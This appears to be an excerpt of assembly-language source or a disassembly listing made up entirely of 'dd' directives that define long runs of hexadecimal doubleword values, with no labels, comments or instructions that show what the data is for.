		dd 0D9277E8Ah, 2E03C675h, 0CC84DB30h, 97D1B1EAh, 39008A22h
		dd 0AA836D3Fh, 9004D0D6h, 5B1D7AB6h, 1153B880h,	85D43E37h
		dd 0C036EC9Eh, 0B3CE3F19h, 1B0097B1h, 5E8810Ch,	1C372AAh
		dd 630F8A03h, 0FD776BD6h, 0C7ED8078h, 85D21F6Fh, 0D89B07F6h
		dd 0F7FADA2Fh, 1DB9C09Ch, 790CB0CEh, 0AC5D5257h, 831E032Dh
		dd 7C02E9DBh, 3E41D8D8h, 80AD6D38h, 0ED67BA11h,	0E2B0CFCBh
		dd 16350196h, 0C3D1E67Bh, 5C2B8929h, 0F68000C2h, 3D597Fh
		dd 95B3B5CCh, 8A7EE736h, 0A2C2400h, 5A5D098Eh, 177156Ch
		dd 0CD02CC52h, 54D6E271h, 3129C7A0h, 0FBE447F8h, 37606C76h
		dd 90A07784h, 0BD32006Eh, 0C34EBFDBh, 0E11F5BB5h, 0F00F14EBh
		dd 113B0C1Bh, 0BFDA1265h, 0DDCA609Ah, 0D618016Eh, 942640CAh
		dd 29E50C75h, 978BDC3Ah, 0C4B0E800h, 2B5962BEh,	300A004Ch
		dd 1271DDF9h, 9FFE794Fh, 95C22F02h, 80DB2A87h, 0AEBA499Fh
		dd 0EC3B501Ch, 20E90071h, 430EDD7Dh, 2A0C0C44h,	0CA70B9C1h
		dd 3FE11FC2h, 0F0634BBBh, 5E2510Eh, 0D6A2C823h,	858680C4h
		dd 85884CC1h, 0DE634BD8h, 0C8152E10h, 0B51EFB7Dh, 950030F0h
		dd 0AEB3EE79h, 60119BA9h, 0FA6428C0h, 0ED038D5Eh, 77C7463Ch
		dd 61AEB27Ah, 0EEF81567h, 0EE40072h, 4ACE373h, 0D0057A2Eh
		dd 93B5AAA5h, 0D85D2893h, 2A7688h, 4F6E6C1Eh, 0E79E167h
		dd 1468443Ch, 546BD5EBh, 0C800EC12h, 0B5B89CE3h, 0C0DD05A7h
		dd 4AE67834h, 8E1DB761h, 5F40F4BAh, 7054C9C3h, 0F6400D4h
		dd 9982C5C0h, 9488E18Bh, 0BF6E018Ah, 6A760590h,	0B51980C0h
		dd 0EC6C64A5h, 797E1DF9h, 993D0961h, 82C67730h,	0C5000B76h
		dd 488ADAE4h, 0A6F5D6h,	0F30C88AEh, 58745771h, 0E0363301h
		dd 0F7CB6420h, 0FC00B022h, 0A9435144h, 0DCEA9016h, 0AE039100h
		dd 391314FFh, 160AB09Dh, 68E8A7h, 0D52CDDCAh, 517BBA92h
		dd 0E4CABE07h, 8CEA4A6Ch, 0AAC89345h, 7A5E1687h, 80D11E81h
		dd 49A284BCh, 5B026DF2h, 17312D70h, 0CF6961B4h,	0B9D060h
		dd 9ED92487h, 4A0E6DBEh, 48977400h, 8D83315h, 5E540956h
		dd 775AC681h, 0BEE833Bh, 0F243487h, 0D64716E5h,	69F3C89h
		dd 40111C27h, 1243EE0Ch, 1C4BB903h, 0CFC0062Fh,	0EC518159h
		dd 0C524E52Dh, 0AFA7E383h
		dd 0BF2057CEh, 23AB79D8h, 4D00294Bh, 8418F5Fh, 0F06D081h
		dd 505E8B30h, 554E089h,	0C483C056h, 51A28B0Ch, 81E1890Ah
		dd 40BB13C1h, 5BE9800Ch, 0FFFC5E00h, 75DD9E18h,	0BCF9074Ah
		dd 0D28985h, 2E724824h,	20DFB818h, 1CC503CAh, 0C07DE0FFh
		dd 13836F41h, 47007A0Ch, 123AEFA5h, 0E2AF2BCh, 19186748h
		dd 4D981100h, 0FC01C3FAh, 0D225C27Ch, 7830D966h, 94B00040h
		dd 50192A58h, 23000DAFh, 1E0189C7h, 17B06DCh, 7EC73A0h
		dd 306BA7BEh, 0B100F28Fh, 0E6ADF14Ch, 0E28E3Fh,	1132389Ah
		dd 129D5CC1h, 8B30931Dh, 8DBD02F9h, 5C062B28h, 2A456961h
		dd 726017E4h, 69025D55h, 0CC0916BEh, 0D1DBF729h, 0D76C1759h
		dd 35572280h, 0ED03ABF3h, 898E9666h, 19CBC0D5h,	93189704h
		dd 3D5BB531h, 0BF908700h, 0FD99779h, 5E525077h,	20820F25h
		dd 0EF816670h, 7A0BEFAh, 0CE784BE7h, 3152825Ch,	231A5E70h
		dd 5CE9EB44h, 9D03C6B8h, 3A88D474h, 32DDB101h, 4155AC04h
		dd 0BB11E5BFh, 50FA8BB3h, 0C9C8DD57h, 712E531Dh, 9507B7BEh
		dd 0D1759CB9h, 374CE2FBh, 0FE86DA5Fh, 448AFAA0h, 0C70CBE05h
		dd 1A472330h, 40809C60h, 2770186Dh, 7F002575h, 0C2808446h
		dd 4BA5BA9h, 7AADA40Ch,	0CB31B861h, 0E748DD23h,	6D70B58Bh
		dd 6F2B5682h, 0D3FFF982h, 1DC5A54h, 1B373EBh, 426FD8Dh
		dd 0E9C24BACh, 2E5C074Fh, 87232458h, 0E46015C4h, 0B51A89D3h
		dd 56682B01h, 10147928h, 709D8BF5h, 0CF3D9575h,	6D743400h
		dd 5BB52B52h, 5E1A09A9h, 0C2A53D71h, 9C1556F7h,	1A9D2F7Ah
		dd 6C801C91h, 0F93C4667h, 0E072E0Bh, 0C99660BAh, 880F18B1h
		dd 0BD892F06h, 4E185124h, 21CF12BBh, 13224AE2h,	8D095204h
		dd 0EBF9056Dh, 30B4D22h, 4A0B79BDh, 0D3200DBEh,	0E28E469Fh
		dd 3E40339Ch, 24B64611h, 0BBC0655Ah, 22E9078Dh,	0C2250921h
		dd 4F487F2Bh, 727F0D4Dh, 0D6DA2800h, 53200BF2h,	20AB90EAh
		dd 49B00929h, 8976D986h, 7412FD5Bh, 0AE4305B3h,	6301AA2h
		dd 13180616h, 76959BE5h, 95274D20h, 0D512F60Ch,	222A0141h
		dd 0A42A2AFCh, 2D0D8D08h, 8BE2098h, 5267F500h, 0F88B6650h
		dd 2958B089h, 283810Fh,	1AA18509h, 0D1B5CE48h, 65E90E40h
		dd 2B0C5C5h, 16D595EAh,	6670E600h, 79FA09BEh, 0CCB771E4h
		dd 0BF667B81h, 742A3993h, 74DBC37h, 0C38BF68Ch,	0FDEADF60h
		dd 80034A47h, 0B70F5712h, 515FF302h, 0A5F5B50Bh, 0FEF15EC3h
		dd 0AC4BAD7Eh, 0B4500CDBh, 0F680B7D1h, 2BF27709h, 70BDDBD8h
		dd 0F312E7F8h, 0B4B150DDh, 9EC2F05Bh, 0DBD979D1h, 1DCCE4A5h
		dd 0C2C1043Ch, 0ABE523CEh, 1C59C1DBh, 0D5000918h, 0D451F573h
		dd 98C07F17h, 24B92068h, 454B06Ah, 12019908h, 0EE05175Fh
		dd 8DFB4590h, 0D9A50991h, 1105B051h, 0A978585h,	40EFE812h
		dd 0F8466B05h, 0D6BF7872h, 8F3C40A2h, 5C037BD9h, 65A1D790h
		dd 30828080h, 4D9A02A6h, 5E615A22h, 76908056h, 2F6BD6h
		dd 0AC18297Eh, 925FF952h, 0DB79541h, 73577000h,	48ACDDFFh
		dd 0CF091E13h, 681A4C8Dh, 1865A302h, 0DD5879C4h, 37C3897Fh
		dd 5DC939Eh, 1C09C108h,	0F62F522Ah, 301CA242h, 750191BDh
		dd 88BF6076h, 0A825123Fh, 0FEB8AE6Dh, 0A8713C38h, 0E920806Ch
		dd 0BEA9A02Eh, 0C68F0BE8h, 74CD5876h, 11C09FC4h, 4C61FECDh
		dd 4770712h, 0D040D5BEh, 229EAD4Eh, 65BB9865h, 0EA604120h
		dd 9EAA4h, 4FC1B5BBh, 84F299FFh, 0F0D2D900h, 6EB4E723h
		dd 0BDD2CECh, 25219047h, 0B3736461h, 327B7813h,	9D31FC09h
		dd 9531D83Dh, 7C5B6609h, 9E51170h, 9D6ACCE1h, 35D1C418h
		dd 0BCB4CD02h, 565E80B6h, 8FDD9071h, 3DB2328Ch,	0F8D2AB34h
		dd 8C18E8FAh, 16456648h, 1F04D987h, 5014118Dh, 29C0F13Ah
		dd 2C759516h, 26214F29h, 5BD1492Eh, 7A805AB7h, 41E12049h
		dd 0B8860132h, 0A5BD0BA1h, 0C324071Ah, 36B874A9h, 9940E500h
		dd 0DDEA9F4Dh, 81600069h, 0AA09B9D2h, 0B3956179h, 9357DC68h
		dd 113C274Ch, 0FFC026FCh, 0C1E20BDEh, 4185337Eh, 0D649BD12h
		dd 0D100326Bh, 2E05A293h, 522F449Bh, 6825D58Bh,	0ED90C45Fh
		dd 0EFBD047Bh, 0F8E91835h, 0D4386CB8h, 0D605FFC0h, 4CF34483h
		dd 79B28313h, 179E7B7Ch, 0BBB2974Ah, 4AFB7CCh, 3A18F77Dh
		dd 0DFA6C0E4h, 95A0BF71h, 54A398Dh, 4A85AD68h, 91402112h
		dd 6E296F08h, 9D2715F0h, 76D476BAh, 7D4300DCh, 0AD9490A3h
		dd 0C0B34591h, 1E946A37h, 547B9009h, 0B6D0670h,	820F36E2h
		dd 3704E7Bh, 0CDB54ED5h, 0A25A2384h, 20B73114h,	35402D15h
		dd 800F2750h, 616033E8h, 885FA0B0h, 73E27552h, 1DAB0302h
		dd 0A2600EF6h, 9D970A0Dh, 801C916Ah, 0C6D135CDh, 7B060925h
		dd 0FBA05963h, 3854BF66h, 2169E6C4h, 33CEBE00h,	0F2757D6h
		dd 349CC68Fh, 0C82A50FAh, 0E1EC2997h, 5E0C1C60h, 0E6F9BF0Fh
		dd 0D33D78Ch, 2057A1ACh, 1140D563h, 4EF7781h, 60145CD8h
		dd 0DF7BC68Bh, 611844DFh, 821B353Ah, 7111D2F5h,	5C280023h
		dd 0F7B41ECFh, 6C0F7B49h, 0AE078Eh, 0B1E9CD47h,	4BFF71F8h
		dd 80FFDB60h, 2A6553B1h, 7CD70085h, 8B9C2863h, 5096B9F7h
		dd 6BAB5F39h, 42AD0152h, 1F598D21h, 14EC3228h, 0F62168Ch
		dd 3898B38Dh, 5C954179h, 0FF5EA3A1h, 0B8286D6Bh, 0B8D853F2h
		dd 9AC57400h, 5E68C42Ah, 7DA2B62Fh, 44F3B019h, 0B66912DEh
		dd 0D3D1E07Eh, 978F13DAh, 4EB2A4E8h, 0E70067F8h, 563DF788h
		dd 322732Ch, 0B849C16h,	0E904CD9Dh, 1E1835Fh, 0FF325FC2h
		dd 15D9D551h, 4C092318h, 21199D29h, 51858B57h, 26830F11h
		dd 0D3D83F83h, 0A3E829B6h, 4EDB0038h, 3279BB1Dh, 10D000EEh
		dd 0B9A621C8h, 0B00995CFh, 9A53405h, 5E0388BDh,	1CFC3090h
		dd 0D8E008Ch, 0B23363B5h, 0E512847Eh, 12308A0Fh, 801CA985h
		dd 5E9C6061h, 45E28967h, 0E9700A24h, 0DF40D94Dh, 90BC8E33h
		dd 0B6D1644h, 0F033F62Bh, 1165647h, 0FFBCCBA8h,	937A9CECh
		dd 853F156h, 58E29FE6h,	918DE360h, 544FA8BFh, 0C0D74DA7h
		dd 0F28B28A3h, 0CC84E4A6h, 53E6C0ADh, 0F6E7D694h, 22BBF0C8h
		dd 905392CEh, 57592AEEh, 7DFC8650h, 0A22F59Dh, 0DDB51278h
		dd 23046F1Ah, 2D28001Ch, 0F12C3CEBh, 254EB317h,	18DDC104h
		dd 945FE410h, 381AE8E9h, 0EA1669DAh, 406D5E0Ch,	3CD04A32h
		dd 0D85C4300h, 0AED767B3h, 88AC02C4h, 169C6882h, 25289988h
		dd 9BC162EDh, 924C76B2h, 3A60891Eh, 0EF4BF820h,	0F7210F1Bh
		dd 0CCA06DACh, 4F78755Bh, 0FA9C5FB0h, 615E5641h, 6856D5C7h
		dd 38BADB30h, 30C700B3h, 0B160A8B5h, 0EA0063B6h, 8E22FBB9h
		dd 1521545Dh, 485BF0B0h, 6F3F1F35h, 0F9D80E08h,	5FF35492h
		dd 39E56BAEh, 90782579h, 539088Fh, 9DB3CE98h, 0EAE2015Fh
		dd 235E832Ch, 0E9F5281Dh, 66FAA09Dh, 9899E8BEh,	1AC7627Ch
		dd 0E54F2AE5h, 0FC19AC62h, 852309F4h, 827F5055h, 4D390BBAh
		dd 45F1C3D0h, 0AF2DC09Fh, 0FE483E74h, 5569E79Dh, 72DA8870h
		dd 62214FCAh, 9D001C5h,	38122C41h, 0C260270Eh, 8D4899Dh
		dd 1B1D9584h, 0E63F610Eh, 194674B1h, 0ED87D500h, 812CF88Ah
		dd 0C0D963BDh, 9685C773h, 743CEA0Dh, 4C071746h,	0F0A9FC64h
		dd 6E5F5CC2h, 93A761F2h, 15601D44h, 0B607A87Bh,	9813DD84h
		dd 7EBE710h, 0E99D2F61h, 110C1FFDh, 9C5A8519h, 90FCC0EAh
		dd 0B149BD09h, 6BAB5FDBh, 67007C7Dh, 2AC73D6Eh,	0C18BEFh
		dd 1C8F4FEBh, 8ABFA25h
		dd 0DAC6A107h, 0D4A1A4ACh, 0E4C55CD2h, 1D34CEC0h, 431BF531h
		dd 0D129B327h, 8FDD5BC9h, 9F17E64Ch, 6787DF9Eh,	10AA6DBh
		dd 0B487007Ch, 202352DDh, 11E19ED9h, 0F87543E9h, 8A040D60h
		dd 0F58B1E60h, 0E4EAF6BDh, 0B0E0F72Eh, 0A0B8BDE0h, 5D8D033Eh
		dd 0C235B335h, 0D1EC0E7Ch, 0DEC1C04Ah, 0EDBF6B04h, 1D853A32h
		dd 0C835A7FAh, 41D06413h, 0BD499D8Dh, 0A22FAD7Eh, 421A2811h
		dd 0F530BC96h, 917B4CB2h, 6AF3E10Dh, 0DF95C966h, 858D4907h
		dd 101B2FF6h, 1FA8886h,	8B525090h, 0B0310FD7h, 0EA8A080Ch
		dd 4586C5Ah, 904F5F7Ah,	16232F2Fh, 0FCA3C904h, 329BCC83h
		dd 0B3885CA8h, 0D9BD2320h, 5521BF1Bh, 9AD78B9h,	45C0B05Ah
		dd 0F5637705h, 1698C14Ch, 64912409h, 1011C61h, 32EF5B5h
		dd 6E474B8Bh, 0C5D907FAh, 0D644D0EDh, 3BDED5C3h, 111501D7h
		dd 831312Ch, 6E05F520h,	2DF2B44Dh, 0E680897Ch, 0DB1458D0h
		dd 1200E248h, 84311969h, 0DA290109h, 26FACBE8h,	0DAE57007h
		dd 33226961h, 0FDCAEA8Dh, 0C82EC0DBh, 2E8DF4DCh, 334FCB4h
		dd 256861EDh, 25BCD7E9h, 24F640B2h, 0C32D62ADh,	0B13717h
		dd 60CD9A26h, 890B23B0h, 2B0619BDh, 514Eh, 809EE5ACh, 34C04043h
		dd 0FD8E82BEh, 8F850092h, 8DFEEF88h, 0B524FF56h, 55A53DDDh
		dd 0EF6022CDh, 0C9038D1h, 9E93D13h, 0FC00BF1Dh,	7C4BD77Ah
		dd 906DB717h, 83EB1678h, 9DA9442Eh, 0D0FF0435h,	0B28069ACh
		dd 0D4E3D2EAh, 50C8E901h, 0C275457Bh, 41CC501h,	12859009h
		dd 0F39A400Ch, 1B11807Fh, 0F2FD4386h, 80303018h, 1E502500h
		dd 0FBA66F9h, 0A411933Fh, 87A1192Bh, 4E232E8h, 8A0FB5E2h
		dd 9C877AA8h, 3B506063h, 0A075F23Dh, 0BAFE8B24h, 0C1E26044h
		dd 19D41300h, 0FE0BD3Fh, 0D9318C01h, 87D03B45h,	8B74E87Bh
		dd 0E908E458h, 0A676D4h, 9DCEDA30h, 2F8C8D0Ch, 5C78CC00h
		dd 0E99E4CFFh, 6C8B5C61h, 75D2B803h, 0C8CD4F03h, 0F285826h
		dd 9AC2E8Fh, 59CF5AA1h,	0A5D730DDh, 7ADD1153h, 3467DF88h
		dd 51E5943h, 2013598h, 2B65BDD5h, 2DFDF844h, 2F76ECB4h
		dd 207F8331h, 9907CF89h, 387E6Ah, 3F52A4A9h, 0BB0B8B7Ch
		dd 0A489F24h, 64343908h, 48E84BFAh, 0D529FDh, 95EC6693h
		dd 3E2D8D5Fh, 5D223790h, 5EFB8C27h, 0D640FB56h,	1E89F9F1h
		dd 0FAA244Eh, 6D396001h, 6A99D41Fh, 0CA64B280h,	97788360h
		dd 88D36A04h, 877FB900h, 0D1328828h, 0BF028084h, 2E0A481Ah
		dd 757C5558h, 0D1BA2BD6h, 0AC1025E6h, 500083B8h, 0C5B4F4ACh
		dd 16F541DAh, 0CCA0D377h, 59F78A92h, 0A25623FDh, 933A301Bh
		dd 77075D07h, 728E4DF5h, 601B09h, 0BEBF4511h, 0C518122Dh
		dd 85480A51h, 0B1B74BD7h, 0BD69F500h, 0E2809DFAh, 29C51DEEh
		dd 282AD3B5h, 68056CF0h, 7AFB01E3h, 37BAF780h, 2C02C5Fh
		dd 0F88B08FCh, 0A082D724h, 57600A6Eh, 0D3001AB7h, 98FA768Fh
		dd 570E4CD9h, 0FF893C39h, 0D8EF1DB5h, 0C7F99760h, 60010226h
		dd 0A63B0350h, 243A59FFh, 41D5114Fh, 3D1089BAh,	0E2C51120h
		dd 1309BD64h, 0A415DD8Dh, 8F9FE7Ch, 33E44585h, 3C9A032Dh
		dd 888E55CDh, 732874B1h, 0D4060FB7h, 0EA117E2h,	0FB7C3AC0h
		dd 49B96285h, 74DC555Ch, 7DE71CFEh, 3450D2FFh, 8E60BEBFh
		dd 26CD6A68h, 22AE6DAEh, 5C7F00DCh, 48B91E66h, 0F52C973h
		dd 0DFE74BBBh, 8061B3A0h, 0A3752C02h, 449D8988h, 8B60172Fh
		dd 0D25AD785h, 0A875818Dh, 0FFCACC4Fh, 2AC9C814h, 0A58CA53h
		dd 92BFD06Bh, 0F0E76BA6h, 79E427Fh, 31659F9Ch, 0F79C9E87h
		dd 0D6800304h, 7C1368E8h, 5F521E88h, 2434811Eh,	1126C5Bh
		dd 0F668CEA4h, 63C5B30Bh, 65840337h, 0D8E47935h, 0CF310Ah
		dd 0F78A321Dh, 8208554Fh, 0C06FE82Ah, 4DF40A09h, 95AB583Ah
		dd 2E6AC4C1h, 0B1C08F9Bh, 0AF4F7192h, 0F053860Dh, 6C51A65Ah
		dd 702826C5h, 0E8F3278Bh, 45F9F7D2h, 0E360E2A6h, 9F52EF7h
		dd 0C0DA3AAEh, 164117F0h, 22EEDC02h, 0BC928B0Fh, 1BD3E40h
		dd 6E85C780h, 0E71225E6h, 35C0B75Dh, 65571382h,	8DF542F9h
		dd 102963Dh, 1EBAF400h,	2C40BFF0h, 45365061h, 603393B6h
		dd 44860F89h, 0FEA5071Ah, 1DB94161h, 140E733Ch,	159E960h
		dd 42CD23B6h, 0A0634ED4h, 0FFC3C55Fh, 662582A3h, 5A0C837Ch
		dd 959DD061h, 0A860C411h, 76C0105Eh, 330B6ACBh,	1D192595h
		dd 53BBD0A4h, 0DA819600h, 0EE5FCC22h, 32C9F0B9h, 0B430C57h
		dd 72085E61h, 25794C56h, 600D2695h, 85C3043Eh, 81FBB79Ah
		dd 0BEC5B5C4h, 4D18F5Dh, 9669ECE8h, 40BE7066h, 0A4D4C317h
		dd 0D5E5089h, 22C9184Ah, 86C6D62Ch, 0E6878B20h,	45601D44h
		dd 6B0ECAF1h, 0E6B474BDh, 0B1C2C8E8h, 0C00B0993h, 0D080FFC6h
		dd 0E97C4245h, 0ECC03CFFh, 0CA028C1Dh, 7D09580Bh, 1F0360A1h
		dd 97499832h, 0F2C03B4Dh, 1EFEC40h, 96A35B72h, 2B5D8D8Bh
		dd 4AB5BCD2h, 0DEA2548Eh, 3F1D6A00h, 0DBBB0791h, 0E926257Bh
		dd 30F617A0h, 4300CD8Ah, 0ABDA273Fh, 134FEDCAh,	0A620468Dh
		dd 606BE1D3h, 4005DF30h, 0B524230Fh, 619329A5h,	39A9A013h
		dd 0BACA503Ah, 46C4F29Ah, 513E83C5h, 0F989F88Ah, 1C11FC35h
		dd 64F68380h, 6E2E07CEh, 982F6E9Dh, 24BD2946h, 62292EFDh
		dd 3211084h, 0BD243995h, 9505ECE9h, 285833C4h, 207E1C16h
		dd 4B863433h, 804EDB1Fh, 0C9889955h, 235FEF7h, 9D29FAC2h
		dd 0D64A2D3Dh, 0B699740h, 7AB0B680h, 8D310B61h,	5CE81C35h
		dd 5E54DFE7h, 0DD9C89EFh, 0EAC10449h, 0B5183F54h, 117D334h
		dd 0E532E881h, 0D211100h, 0A076A1Eh, 0ED3C7B65h, 40592091h
		dd 0CFB8B729h, 9589C704h, 90031F41h, 0A2EC5956h, 64DF00BBh
		dd 0C0EFEA21h, 7F3A0715h, 0A4F666CDh, 0B8A4ED90h, 7FD30264h
		dd 0F5BA35ACh, 502F8A5Fh, 0DC282Eh, 0E27565C4h,	157FD26Eh
		dd 0BADBDF28h, 6FD6D700h, 52505190h, 85A4A53h, 0CB24FE91h
		dd 750CD180h, 24809069h, 0C269BDCDh, 4D5E8D0Fh,	0FAC0D844h
		dd 97819523h, 9B586784h, 6CBAC37Ah, 87A9E0BFh, 0B83328B1h
		dd 0BF91281h, 8AB2AFDBh, 3051204Bh, 2900A2CFh, 0F28113F4h
		dd 58E936Fh, 18E95F01h,	0C8858804h, 5388025h, 0AFF0F480h
		dd 71E10181h, 0E94574CCh, 0FB53A45Fh, 3298DEh, 55EC2678h
		dd 8CA91BB7h, 251E2948h, 0CDDD2208h, 0D3B10924h, 0B8D06948h
		dd 0D6CB50DEh, 0BD9D509Eh, 3B02E301h, 0F259B46h, 9E145282h
		dd 6C14DC4Bh, 289D7EF9h, 1545C05Ch, 679E241h, 2F501E06h
		dd 0FF4196ACh, 15C1D741h, 0D8B94001h, 657C5B80h, 0BD83CA09h
		dd 244764F2h, 0AFE77B84h, 0CD02FC37h, 0C0D78B14h, 8A108AE4h
		dd 0E6A56B89h, 10FEB3CEh, 0D35A585Ah, 0ABFC833Eh, 758087EDh
		dd 6BB49232h, 0CC46F719h, 6B6C03BEh, 80A9DB93h,	2147A8F2h
		dd 50C2316Bh, 0A5D68BA1h, 1094496h, 6CB58C53h, 3BE42640h
		dd 50586911h, 0AF26C1DDh, 0F0B092Eh, 0B95C988Fh, 90321C33h
		dd 0F666A60h, 0F2DC0B2Eh, 0DB8F6E20h, 660681DFh, 61B1D8B8h
		dd 348F8786h, 80C6B81Ah, 0E256BB54h, 57820011h,	1420895h
		dd 0AE005364h, 99D79868h, 5F5F569Ah, 356E90h, 537775E8h
		dd 9BF3C493h, 98442F34h, 507F2705h, 3806328h, 46D1CCEh
		dd 0A5E459D0h, 0FF42C5FEh, 18B073B6h, 91001B7Fh, 5899F52Bh
		dd 92AC680h, 3339BD89h,	84426EDEh, 54BF200Dh, 661227A4h
		dd 5E4EE7E9h, 0C6D1C480h, 73803BF9h, 142ACA56h,	198D2308h
		dd 0F581608h
		dd 1D10B9DEh, 86815650h, 5F05E1C7h, 8D29F550h, 29179AC9h
		dd 8FE91E6Ah, 0B0EF467Ah, 4525CFE0h, 504E2E7Fh,	8A12B7E3h
		dd 67032D7h, 9648229h, 1BF7080Dh, 59821987h, 0E860B9B0h
		dd 901160A0h, 2ABF3201h, 25919501h, 41615F01h, 6658F8B8h
		dd 70A4F072h, 0FBBA3B53h, 0D7ED8084h, 820DB957h, 534A9BDh
		dd 2DC0235Ah, 0DABF1F4Ah, 0A9C5C054h, 2880F706h, 88A876D2h
		dd 9E281DDh, 43A13688h,	9D00241h, 0EEA8563Dh, 0D4E1C7E4h
		dd 0B55FFF31h, 0D9609B4Bh, 9090A44Bh, 0C3204B17h, 79642F74h
		dd 2E230471h, 0EB47B589h, 0D0B70340h, 0BFD7BB03h, 0F4CA6109h
		dd 27DCD174h, 0E44C56Eh, 8FE45B00h, 0EBC6CF1h, 8DA707E1h
		dd 80633085h, 3671F57h,	2B915A96h, 0F7E12750h, 0C9071D05h
		dd 8ACE1D59h, 2E0F0144h, 283BC9BFh, 2C9C0C56h, 291D4AE9h
		dd 1D198515h, 0C0113825h, 0F99D2409h, 0C6818603h, 9F80511Ch
		dd 0F1880B71h, 97FF71F9h, 0C0C0CCEDh, 9ADE86h, 7D295D95h
		dd 68FA8B81h, 0FD5EE609h, 768D895Ah, 571C41C3h,	74BC07Fh
		dd 21B10501h, 0DAF46A2Dh, 5FC9E478h, 60D9A68Ah,	6E119693h
		dd 0C00BA9B0h, 60981DEDh, 34243444h, 0B26ADEE6h, 39F901C9h
		dd 0E7143FFh, 8B6D6A6h,	4B3E0A69h, 3140BD24h, 3693A573h
		dd 559F04BEh, 85CF0818h, 0F2BCA313h, 54573217h,	8E0F0BD5h
		dd 0EF1AF69Ah, 15CD0282h, 39D55004h, 1A8F53DBh,	9BED5E83h
		dd 0D6FF26E0h, 0E9CD4D4Ah, 45DFF95Bh, 81EBF4A1h, 207DC88Eh
		dd 156C9A9h, 0C59A4A58h, 115C8A80h, 0CD1C60B4h,	2652BA66h
		dd 0EB4AFDB3h, 0F0C0839Ah, 7AFDE634h, 6C48EE04h, 0EC98D0Fh
		dd 0F49A893Ah, 0B1F864C1h, 66604700h, 0C4405A63h, 902701CEh
		dd 0F8074DBFh, 3D497C26h, 25A74CCFh, 2716C4D9h,	0B44F2E41h
		dd 894FCA40h, 19412085h, 50C08B01h, 21DB509h, 0F7591292h
		dd 35B0A216h, 9ED8AF91h, 9588163Dh, 0D7E2B571h,	159B77Fh
		dd 8BB0842Bh, 4DAEAFCBh, 0ACF2C592h, 0CD582DF9h, 825CC0F0h
		dd 9B0B32F4h, 66013348h, 20879048h, 0C274080Dh,	0C00DBAE0h
		dd 0B257F948h, 0F2807768h, 0D6AC4A06h, 7025EC25h, 30111532h
		dd 0FCE88E2Fh, 67BA0B2Eh, 0DA920993h, 913F7E15h, 0FD602F75h
		dd 11352519h, 0BE2A016Ah, 83EB8460h, 4E108B2Eh,	8B013545h
		dd 0CEFC1FEh, 43C9668h,	2230687h, 0D80DD257h, 371A293h
		dd 8432E91Ah, 0A1F0F8AAh, 97130DFh, 3FD0A67Ch, 0EA495A2h
		dd 507091A5h, 57C8D6Ah,	12006E56h, 64C1C361h, 413078E0h
		dd 3A27B5C7h, 62019DC2h, 854870E9h, 0A8009CC1h,	784C136Ch
		dd 97FD63BCh, 0A05734C2h, 0A4605AC7h, 1667D59h,	48A76365h
		dd 2EF43012h, 1B8F586h,	8F4D496Fh, 0E8DA5460h, 0AF1392C4h
		dd 0F5A891A9h, 9F0B7603h, 4FB00F39h, 9400EB0Dh,	62531C02h
		dd 12C2CBE2h, 0FC6AEC33h, 1D5B20C5h, 0C4ED73AEh, 0BED26EF0h
		dd 79D12Ch, 8B02441Ah, 0CDFE174h, 0EE073Dh, 0D329DC94h
		dd 0C88FC0h, 3C0B17F4h,	0E7031292h, 8BCC2B00h, 0AFEA75B1h
		dd 159400A8h, 9873550Ah, 1A1826B5h, 0E5828A90h,	6DB40075h
		dd 4F4D7F1h, 689D2D11h,	60D9E735h, 342A2957h, 0B500AAF5h
		dd 9E3A0C50h, 0C430562h, 0BF4A8665h, 2F399027h,	24097C5Bh
		dd 10FB7D97h, 171E768h,	0B1784E12h, 0F8D0F66Eh,	0C06F45D5h
		dd 0F1923D38h, 0A7F83B12h, 79135D21h, 9AF0C0A8h, 9009D61h
		dd 59B67252h, 39FD391Fh, 340081D9h, 0EEA9D2DBh,	1301AF56h
		dd 0CEFE65B8h, 0D5EC92FDh, 0B0894ED1h, 27924FEh, 380E5200h
		dd 0F1CB8CD3h, 8DC7001Ah, 0D46940ABh, 0A54879F0h, 317A3821h
		dd 6684D86Fh, 96CECD10h, 5D79B013h, 0A38337A8h,	0DC0EE65Eh
		dd 40D03B57h, 0F6683E02h, 973AEFCCh, 90083940h,	39F04081h
		dd 0A800E76Ah, 61990B2h, 5882694Fh, 5D0AD084h, 88EE021h
		dd 0CEBC53A5h, 0E9E70A2h, 69E3A6BAh, 81AD0CF0h,	811DAF1Bh
		dd 52EE7067h, 0DC3AC956h, 1A54A0A6h, 0EE1F7DB5h, 3707B0B3h
		dd 276C3D2Bh, 515806C6h, 13630EC2h, 9EFD5400h, 1C0584BAh
		dd 70FA2A28h, 281442E0h, 4D07FCB6h, 1F8E907Bh, 816A5C00h
		dd 291CE23Ah, 0CE84DDCFh, 0B863C00h, 0B9147054h, 19CF266h
		dd 5B84E959h, 803A484Dh, 21207F7Fh, 9AA40700h, 164EAD7Eh
		dd 977000F3h, 0E10FBDDh, 11519F2h, 1DD429E5h, 50E7755Bh
		dd 0BD80008Eh, 6B4066DEh, 2D00D6D7h, 35135559h,	3336EF9h
		dd 0AFB3182Ch, 6754237Eh, 8328D233h, 8007F0DAh,	0F9756AA6h
		dd 0AD776BA0h, 29FBC904h, 99BD177Eh, 0DAEDE72h,	0BC12D0h
		dd 236145A8h, 36011A94h, 70B73427h, 9B609D66h, 107C50AFh
		dd 0CE86D516h, 9DB03D02h, 10A075FEh, 2883A59Fh,	6E971600h
		dd 7A5C149Ah, 4D1918BEh, 1C8B8868h, 0E52CAF00h,	1A933782h
		dd 0B5998Dh, 0D3206F49h, 96507884h, 0AB1E14BBh,	0F61954B7h
		dd 802EA011h, 2ADD9292h, 54BE714h, 0B90800CCh, 0F39E2DBAh
		dd 0C0FCF6E5h, 0E9203E2Eh, 10C025E7h, 0CAC65894h, 737E6559h
		dd 1860039h, 8AEDF14h, 7D994301h, 0E0EBC6D2h, 74EA8D41h
		dd 873B5CD9h, 0AEB8C02Eh, 3E00F51Ch, 0D23A716Dh, 479018h
		dd 4B42DEB0h, 63F695B8h, 0D9AC5D29h, 0CAE5827h,	8B16A52Bh
		dd 0F8017D3Ah, 90B6AE04h, 48F41514h, 76F1071Fh,	99730FCDh
		dd 1901BED6h, 0D791EC3Fh, 8CFE24h, 0B3CFE96Bh, 0D1B5A858h
		dd 69EC1E02h, 778FFF95h, 0CD206980h, 33781357h,	0AC0A6724h
		dd 4E0E0513h, 0A7794F81h, 1029930Fh, 0B0671603h, 287E7ED9h
		dd 0A01E8Fh, 8ADA9742h,	6FB21901h, 0D7D3F500h, 2D0B4D48h
		dd 96639DDEh, 3455CB8h,	26EE63Fh, 6843DF63h, 2EE07F64h
